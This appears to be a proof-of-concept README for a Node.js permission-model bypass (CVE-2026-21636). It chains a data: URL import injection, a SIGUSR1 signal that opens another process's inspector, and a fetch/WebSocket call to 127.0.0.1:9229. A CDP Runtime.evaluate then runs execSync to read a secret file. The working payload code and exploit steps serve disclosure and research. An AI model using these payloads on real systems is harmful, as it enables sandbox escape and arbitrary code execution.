
Proof-of-concept demonstrating a Node.js permission model bypass (CVE-2026-21636) that allows network access via undici/fetch to local services, enabling arbitrary code execution through CDP.
The Node.js permission model (--permission) is designed to sandbox a process by restricting access to the filesystem, child processes, workers, and network. CVE-2026-21636 reveals that connections made via undici/fetch (and net/tls) to Unix Domain Sockets and local TCP addresses completely bypass the network guard, even when --allow-net is absent.
Affected: Node.js v25 (network permissions are still experimental at the time of disclosure).
This PoC reproduces the concept on v22 where the same bypass is observable.
An attacker who can inject arbitrary JavaScript into a process running under --permission (but without --allow-net or --allow-child-process) can:
Two processes run side-by-side inside the container under supervisord:
target.cjs writes its own PID to /tmp/target.pid on startup, then loops forever (idle victim process). server.mjs exposes an Express server on :8000 with a /pid endpoint and a vulnerable /language endpoint.
/app/secret.txt is owned by app (chmod 444). Both processes can access it at the OS level. The exploit does not rely on a file-permission barrier — it demonstrates that server.mjs, despite --allow-net being absent, can reach 127.0.0.1:9229 via fetch()/WebSocket and execute arbitrary code inside the unsandboxed target.cjs process. Reading secret.txt via CDP is the proof of that code execution.
Note: what this PoC actually demonstrates
Because
server.mjsalready runs with--allow-fs-read=/, reading/app/secret.txtdirectly from the sandboxed process is trivially possible using only the JS injection (step 1):import { readFileSync } from 'fs'; export default { secret: readFileSync('/app/secret.txt', 'utf8') };The filesystem read is not what this PoC is about. The goal is to demonstrate CVE-2026-21636: despite
--allow-netbeing absent,fetch()(undici) can establish a TCP connection to127.0.0.1:9229, bypassing the permission model's network guard entirely. The exploit uses that bypass to pivot into the fully unsandboxedtarget.cjsprocess via CDP and achieve arbitrary code execution outside the sandbox; something no amount of--allow-fs-readwould permit.
POST /languageThis section is outside the scope of the poc.
// server.mjs
app.post('/language', async (req, res) => {
const requested = req.body?.lang ?? 'fr';
res.json(await import(requested + '/index.js'));
});
The server performs a dynamic import() on a user-controlled string. Node.js's import() natively supports the data: URL scheme:
data:text/javascript,<percent-encoded JS>
The /index.js suffix appended by the server is neutralized by appending // at the end of the payload (treated as a URL comment / ignored path fragment).
This gives arbitrary JavaScript execution inside the sandboxed process - the entry point to abuse CVE-2026-21636.
The server starts with:
node --permission --allow-fs-read=/ /app/server.mjs
The intent: even if an attacker runs code inside server.mjs, they cannot reach the network, spawn processes, or access the inspector.
CVE-2026-21636 breaks the --allow-net boundary.
GET /pid → { "pid": <N> }
target.cjs writes its own PID to /tmp/target.pid on startup. The server exposes it. This identifies the victim process that will be used as a CDP relay.
This could also be done by injecting js in the entry point ; in order to simplify it, I juste created the /pid endpoint.
target.cjs via SIGUSR1Payload injected via POST /language (as a data: URL):
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };
When a Node.js process receives SIGUSR1, it starts (or resumes) its V8/CDP debugger and begins listening on:
127.0.0.1:9229
Because target.cjs runs without --permission, its inspector is fully privileged - it can evaluate any expression, including require('child_process').execSync(...).
Sending signals (process.kill) is not gated by the permission model, so this step succeeds from inside the sandbox.
Second payload injected via POST /language:
// fetch the list of debuggable targets from the inspector HTTP API
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
//then open a WebSocket to the CDP endpoint of target.cjs
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `process.mainModule.require('child_process')
.execSync('cat /app/secret.txt').toString()`,
returnByValue: true
}
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
Why this works despite --allow-net being absent:
fetch() in Node.js is implemented by undici. CVE-2026-21636 shows that undici's connection path for http://127.0.0.1:... (and UDS socketPath options) does not go through the permission model's network check. The sandbox believes no outbound network access was made, yet the TCP connection to :9229 succeeds.
The CDP Runtime.evaluate call runs inside the unsandboxed target.cjs process, so require('child_process') is available and execSync works freely.
attacker (Python script)
│
├─[1]─ GET /pid → pid = N
│
├─[2]─ POST /language data:js SIGUSR1 → target.cjs inspector starts on :9229
│
└─[3]─ POST /language data:js fetch+WS → CDP Runtime.evaluate → cat /app/secret.txt
↑
CVE-2026-21636 bypass here
(fetch to 127.0.0.1 without --allow-net)
# Build and start the environment
docker compose up --build -d
# Run the exploit
python3 exploit.py
Expected output:
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
| Process |
|---|
| User |
|---|
| Flags |
|---|
| Capabilities |
|---|
target.cjs | app | none | full Node.js API, no sandbox |
server.mjs | app | --permission --allow-fs-read=/ | full FS read — no net, no child_process, no worker |
| Permission | Status |
|---|
--allow-fs-read=/ | granted (full read) |
--allow-fs-write | denied |
--allow-net | denied (experimental, not set) |
--allow-child-process | denied |
--allow-worker | denied |
--allow-inspector | denied |